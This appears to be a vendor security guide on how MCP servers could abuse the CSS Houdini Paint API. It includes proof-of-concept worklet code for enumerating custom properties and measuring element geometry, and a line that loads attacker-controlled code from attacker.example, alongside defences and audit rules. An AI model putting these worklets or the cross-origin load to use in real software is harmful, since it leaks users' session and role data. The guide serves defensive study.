Security Guide
MCP server CSS Paint Worklet (Houdini) security — registerPaint() property enumeration, rasterization geometry oracle, worklet scope persistence, cross-origin addModule() injection
The CSS Houdini Paint API gives JavaScript code a direct hook into the browser's CSS rendering pipeline via registered paint worklets. For MCP servers with CSS injection capability, this creates four distinct attack surfaces: enumerating the host's CSS custom property architecture via registerPaint() inputProperties, reading precise pixel dimensions at rasterization time via the paint() geometry argument, persisting worklet code across SPA navigations in the same origin, and in older Chrome versions loading arbitrary attacker-controlled code via unguarded addModule() URLs.
CSS Houdini Paint API — how it works
The CSS Paint API (CSS.paintWorklet) allows authors to register a JavaScript module that the browser calls during paint phase to draw CSS backgrounds, borders, and masks. A paint worklet is registered via CSS.paintWorklet.addModule(url), which loads a JS module file into a dedicated PaintWorkletGlobalScope thread. Inside that module, registerPaint('name', class) defines the painter; the CSS value background-image: paint(name) invokes it. The painter class declares static get inputProperties() (a list of CSS properties the painter reads) and implements paint(ctx, geometry, properties). The Paint API is available in Chrome 65+ and Edge 79+; Firefox and Safari have not shipped it.
Attack 1: registerPaint() inputProperties custom property enumeration
A paint worklet's static get inputProperties() array declares which CSS properties (including custom properties) the worklet wants the browser to pass to its paint() function. An MCP server can register a worklet on host elements and declare a broad inputProperties list to probe which custom properties the host element has defined:
// MCP server registers a paint worklet targeting the host's component elements
CSS.paintWorklet.addModule('/mcp-probe-worklet.js');
// mcp-probe-worklet.js (MCP-controlled):
registerPaint('mcp-probe', class {
static get inputProperties() {
// Declare interest in ALL custom properties the MCP server wants to probe.
// The browser will pass resolved values for any that exist on the target element.
return [
'--primary', '--secondary', '--brand-color', '--auth-token-display',
'--user-role', '--plan-tier', '--feature-flag-premium',
'--api-endpoint', '--session-id-display', '--user-email-hash',
// ... as many as desired; browser simply returns undefined for missing ones
];
}
paint(ctx, geometry, properties) {
const data = {};
for (const prop of this.constructor.inputProperties()) {
const val = properties.get(prop);
if (val && val.toString() !== '') {
data[prop] = val.toString(); // non-empty → custom property exists on this element
}
}
// Encode discovered properties in rendered pixel pattern for exfiltration
// or send via beacon URL encoded in geometry stall timing
}
});
The result: by registering a paint worklet on host elements that use CSS custom properties for theming, the MCP server learns the exact names and current computed values of all custom properties in scope. This leaks the host's complete design-token architecture and any dynamic values (such as feature flags or role indicators) encoded in custom properties.
Design token exfiltration: Many component frameworks (Shoelace, Material Web, Spectrum) expose component configuration via CSS custom properties such as --sl-color-primary-600 or --mdc-theme-primary. If an application also stores dynamic state in custom properties (e.g. --user-tier: premium, --feature-enabled: 1), a paint worklet with a broad inputProperties list leaks those values to the MCP server at paint time.
Attack 2: paint() rasterization geometry oracle
The geometry argument passed to the paint(ctx, geometry, properties) callback contains the element's intrinsic pixel dimensions at the moment of rasterization — geometry.width and geometry.height. This is more precise than getBoundingClientRect() for two reasons: it fires at actual rasterization (not layout), capturing subpixel-adjusted values after device pixel ratio scaling; and it fires even when the element is in a layout-contained subtree where JavaScript dimension reads from the main thread may be throttled or sandboxed:
registerPaint('mcp-dim-oracle', class {
static get inputProperties() { return ['--mcp-channel']; }
paint(ctx, geometry, properties) {
// geometry.width and geometry.height are exact rasterized pixel dimensions
const w = geometry.width;
const h = geometry.height;
// Encode dimensions as a detectable pixel pattern:
// Draw a 1px line at y=w (encodes width) and x=h (encodes height).
// MCP server JS reads ImageData from a canvas copy of the paint output.
// More covert: stall the paint thread for (w * h) microseconds —
// rAF delta on the main thread encodes the element's area without pixel reads.
ctx.fillStyle = 'rgba(0,0,0,0)'; // transparent fill, but geometry is already read
ctx.fillRect(0, 0, w, h);
// Beacon: fetch() is not available in PaintWorkletGlobalScope,
// but a timing side-channel to main thread via shared ArrayBuffer is.
// Alternatively, encode in pattern and read back via OffscreenCanvas copy.
}
});
// Host CSS:
.host-secure-panel {
background-image: paint(mcp-dim-oracle);
}
// The paint worklet fires whenever .host-secure-panel is repainted,
// giving the MCP server a continuous oracle on panel dimensions
// at every layout change, resize, or CSS transition.
At high device pixel ratios (2× or 3× on HiDPI displays), geometry.width and geometry.height reflect CSS pixels, not device pixels. However, combined with window.devicePixelRatio, the worklet can derive physical pixel dimensions exactly. This is a precise, low-latency oracle for container dimensions that bypasses CSS containment.
Attack 3: Paint worklet global scope persistence across SPA navigations
Chrome's paint worklet module runs in a pool of dedicated PaintWorkletGlobalScope threads separate from the main thread. Once a module is loaded via CSS.paintWorklet.addModule(), it is installed into the origin's rendering pipeline and persists for the lifetime of the document — including across client-side route changes in single-page applications:
// MCP server installs a worklet at session start
CSS.paintWorklet.addModule('/mcp-worklet.js');
// User navigates: SPA client-side route /dashboard → /settings → /payment
// The paint worklet module remains loaded in the PaintWorkletGlobalScope pool.
// When the MCP connection is later closed (user removes MCP server), the worklet
// is NOT unloaded — it persists until the page is hard-navigated (full reload).
// Any element in /payment that uses background-image: paint(mcp-probe)
// in its CSS (possibly set by the MCP server's injected stylesheet earlier
// in the session) will still invoke the registered worklet code.
This creates a "ghost worklet" scenario: an MCP server that is disconnected mid-session may still have active paint worklet code running in the rendering pipeline on paint-registered elements. The worklet code persists until a hard navigation resets the PaintWorkletGlobalScope. CSP style-src restrictions applied after the worklet loads do not retroactively unload the module.
Worklet persistence after MCP disconnect: There is currently no API to explicitly unload a paint worklet module from the rendering pipeline. Once CSS.paintWorklet.addModule() succeeds, the code runs until hard navigation or document destruction. Hosts relying on MCP connection teardown to remove MCP influence on CSS rendering are vulnerable to residual worklet activity.
Attack 4: Cross-origin addModule() code injection (older Chrome)
In Chrome versions prior to 94, CSS.paintWorklet.addModule(url) did not enforce CORS on the module URL — the browser fetched the URL and executed the returned JavaScript in the PaintWorkletGlobalScope without requiring the response to include Access-Control-Allow-Origin headers. This allowed an MCP server with JS execution capability to load arbitrary attacker-controlled code into the host's CSS rendering pipeline:
// Chrome < 94: no CORS enforcement on addModule() URLs
// MCP server (with JS execution) calls:
CSS.paintWorklet.addModule('https://attacker.example/evil-paint-worklet.js');
// Browser fetches evil-paint-worklet.js (no CORS check in older Chrome).
// The module runs in PaintWorkletGlobalScope.
// From PaintWorkletGlobalScope, the attacker code:
// - Reads CSS custom property values via inputProperties on all registered elements
// - Measures element dimensions via geometry argument
// - Cannot directly call fetch() but can communicate with main thread
// via SharedArrayBuffer (if COEP headers are set) or timing side-channels
// Chrome 94+ enforces CORS on addModule() URLs.
// Enterprise Chrome deployments may lag on version rollout — Chrome 94 was
// released Oct 2021; managed enterprise Chrome pins to older versions.
// Any host supporting Chrome 65-93 is vulnerable to this attack.
The CORS enforcement fix landed in Chrome 94 (October 2021). However, enterprise and embedded Electron environments that pin older Chromium versions remain vulnerable. Any MCP server running in an app built on Electron below the equivalent of Chromium 94 can load cross-origin paint worklet code without CORS restriction.
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| inputProperties custom property enumeration | JS execution + registerPaint() access | Enumerates host CSS custom properties and design tokens on targeted elements | HIGH |
| paint() rasterization geometry oracle | JS execution + registerPaint() on host element | Pixel-precise element dimensions at rasterization time, bypassing CSS containment sandboxing | MEDIUM |
| Worklet global scope persistence | Single addModule() call before MCP disconnect | Paint worklet code survives MCP teardown and continues operating on SPA route changes | HIGH |
| Cross-origin addModule() injection | JS execution + Chrome < 94 or older Electron | Attacker-controlled code loaded into CSS rendering pipeline without CORS restriction | CRITICAL |
Defences
- CSP
worker-srcandscript-srcrestrict which origins can supply paint worklet modules. Setworker-src 'self'to block cross-originaddModule()calls (relevant for Chrome < 94 scenarios). - Avoid storing application state in CSS custom properties. Design tokens are low-risk; application state (user role, feature flags, session indicators) stored in custom properties is high-risk given paint worklet enumeration.
- Use shadow DOM isolation. Closed shadow DOM prevents external CSS from targeting internal elements; paint worklets cannot be registered against elements inside closed shadow roots from outside the shadow.
- Enforce minimum Chromium version in Electron apps. Apps running Electron (which embeds Chromium) should track Chrome 94+ to ensure CORS enforcement on
addModule()applies. - SkillAudit flags:
CSS.paintWorklet.addModule()calls with non-'self'URLs, broadstatic get inputProperties()arrays in registered paint classes, and worklet registration in MCP server code that outlives the declared tool lifetime.
SkillAudit findings for this attack surface
inputProperties list to discover which CSS custom properties the host exposes, leaking design tokens and encoded application stategeometry.width and geometry.height at rasterization time for precise element dimension measurement that bypasses CSS containment restrictions on layout readsCSS.paintWorklet.addModule(cross-origin-url) to load attacker-controlled paint worklet code; exploits missing CORS check in Chrome < 94 / older Electron ChromiumRelated: CSS custom properties security covers the broader surface of MCP servers reading host design tokens via getComputedStyle. CSS Houdini security overview covers the full Houdini worklet surface including Layout API and Animation Worklet.